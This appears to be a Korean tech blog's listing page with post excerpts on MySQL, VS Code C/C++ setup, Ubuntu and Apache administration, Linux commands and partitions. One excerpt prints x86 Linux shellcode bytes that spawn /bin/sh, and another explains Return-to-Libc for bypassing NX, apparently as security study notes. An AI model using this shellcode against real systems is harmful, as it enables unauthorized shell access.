테이블에 column을 추가 해보자. mysql>ALTER TABLE 테이블명 ADD 컬럼명 데이터형 옵션; colmun 추가 후 mysql>desc 테이블명; desc 명령어로 column들을 확인해 보면 제일 마지막에 들어가 있다. 순서를 바꿔보자. mysql>ALTER TABLE 테이블명 MODIFY column 컬럼명 데이터형 AFTER 컬럼명; MODIFY로 column의 순서를 바꿀 수 있다. 바꾸고 싶은 컬럼명과 데이터형을 적고 AFTER 뒤에는 앞에 올 column을 적으면 된다. 이번엔 삭제를 해보자. mysql>ALTER TABLE 테이블명 DROP 컬럼명; DROP명령어로 column을 삭제할 수 있다.
이미 생성되어 있는 DB나 TABLE을 복사해야 할 때가 있다. 그럴 때는 어떻게 하나? mysql>CREATE DATABASE CPDB LIKE DB; CPDB는 새로 만들 DB명이고 DB는 이미 생성되어 있는 DB명이다. DB를 복사하면 이미 만들어 놓은 TABLE도 같이 복사된다. mysql>CREATE TABLE CPTB LIKE TB; TABLE도 다를 것 없이 CPTB는 새로 만들 TABLE 명이고 TB는 이미 생성되어 있는 TABLE명이다. TABLE을 복사하면 그 안의 데이터들도 같이 복사된다.
vs code로 c/c++ 컴파일하는 방법을 적어봐야지. 왼쪽에 확장버튼을 클릭, c/c++을 다운로드하면 된다. 안 뜨면 search 부분에 검색해보자. 다운이 완료되면 https://sourceforge.net/projects/mingw/files/ mingw를 다운로드 하자. Download Latest Version을 클릭하면 다운로드가 완료된다. 다운로드 완료된 파일을 실행시켜보면 위에 change로 다운로드 위치를 바꿀 수 있다. 하지만 나중에 환경변수 설정 해줄 때 필요하니 꼭 기억하자. continue를 눌러 설치가 완료되면 여기서 저렇게 3개만 체크해주고 왼쪽 상단에 installation->apply changes로 적용을 해주자. 설치가 진행된다. 모든 설치가 완료되면 이렇게 뜨고 c..
웹 서버를 처음 만들고 접속하면 root 계정(#모양이면 root 계정)이 아닌 사용자 계정($모양이면 사용자 계정)으로 접속 된다. 서버 관리를 위해 su root 명령어로 root 계정에 접근 할 수 있다. 아직 root 계정에 비밀번호를 설정하지도 않았는데 password: 하면서 비밀번호를 물어본다. 이럴 때는 sudo passwd 라는 명령어로 비밀번호를 설정 할 수 있다. 명령어를 통해 비밀번호를 설정했다. 비밀번호를 바꾸고 싶을 때도 똑같이 sudo passwd 해주면 된다.
웹 서버에 처음 접속하면 이런 디폴트 페이지가 나온다. 디폴트 페이지는 저기 굵은 글씨의 replace this file옆에 /var/www/html에 원하는 파일을 넣으면 간단히 바뀐다. 이 디렉토리를 원하는 곳으로 바꾸고 방법을 알아보자. ※ubuntu 20.04버전 기준 /etc/apache2/sites-available/000-default.conf를 열어보자. 처음 열 때는 접근 권한이 없을텐데 chmod 744로 권한을 주면 된다. 1./etc/apache2/sites-availables/000-default.conf에서 DocumentRoot 수정 ServerAdmin webmaster@localhost DocumentRoot /var/www/test Options FollowSymLinks..
0x01. 가장 기본적으로 쉘을 띄우는 코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80bytes : 25미포함 : setreuid(), exit() 0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80bytes : 31미포함 : setreuid() 0x03. setreuid(geteuid(), getreuid()), exit(0) 까지..
RTL(Return To Libc)란 무엇 일까? 1.개념RTL기법은 리눅스의 메모리 보호 기법 중 하나인 NX bit(Non eXecutable bit)를 우회하기 위해 사용되는 공격 기법이다. NX bit는 stack segment에서 execute(실행)권한을 제한함으로써,stack에 쉘 코드를 저장하고 이를 실행하여 악용되는 방법을 막는 보호 기법이다.(non-executable stack 보호 기법이라고도 한다.) 이 기법은 메모리에 미리 적재되어 있는 공유 라이브러리를 이용해 바이너리에 원하는 함수가 없어도공유 라이브러리에서 원하는 함수를 가져와 사용할 수 있다. 2.이해하기예를 보며 설명을 보자.system()함수를 실행해서 살펴보자.system()함수는 단순히 명령어를 호출만 하는 함수로서..
1.사용자 생성 및 계정 관리 1.리눅스 명령어 개요 (1)명령어 which1.명령어의 경로를 확인해주는 명령어2.명령어 위치를 찾아주거나 alias를 보여주는 명령어3.사용자가 현재 위치에서 명령을 실행시켰을 때 어떤 명령이 실행되는지를 알고 확인할 수 있다.4.$PATH가 설정되어 잇는 경로에서만 해당 명령어의 위치를 찾는다. 형식which 명령어 (2)명령어alias1.자주 사용하는 명령어를 특정 문자로 입력해두고 명령어 대신 해당 문자를 사용할 수 있게 하는 명령어 형식alias [별명='명령어'] (3)명령어 unalias1.alias기능을 해제 옵션-a : 설정된 모든 alias해제 (4)환경변수 PATH1.PATH는 실행 파일들의 디렉토리 위치를 저장해 놓은 환경 변수2.명령어 입력자의 현재..
1.파티션(1)파티션의 종류와 특징1.파티션이란, 하나의 물리적 디스크를 여러 개의 논리적인 디스크로 분할하는 것2.파티션마다 독립적인 파일 시스템이 운영되기 때문에 파일점검 시간이 줄어들어 부팅 시간이 줄어듬3.특정 파티션의 파일 시스템이 손상되더라도 다른 파티션에 영향을 주지 않기 때문에 높은 안전성 유지4.필요한 파티션만 포맷할 수 있기 때문에 백업과 업그레이드가 편하다.5.상태 정보를 확인할 수 있는 파일은 /proc/partitions이다.6.주 파티션, 확장 파티션, 논리 파티션, 스왑 파티션 6-1.주 파티션부팅이 가능한 기본 파티션하나의 하드딧크에 최대 4개의 주 파티션 분할 가능하드디스크를 4개 이상의 파티션으로 사용해야 할 때 하나의 확장 파티션을 설정하여 확장 파티션안에 여러 개의 논..
- Total
- Today
- Yesterday
- many-to-one
- 이상탐지
- porks
- 논문 잘 쓰는법
- AE
- AVB
- AVTP
- 케라스
- PCA
- one-to-many
- CAN-FD
- 차량용 이더넷
- HTML
- automotive ethernet
- Ethernet
- 머신러닝
- 로지스틱회귀
- automotive
- 차량 네트워크
- 크로스 엔트로피
- many-to-many
- cuckoo
- SOME/IP
- 회귀
- SVM
- json2html
- 단순선형회귀
- 딥러닝
- Python
- problem statement
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |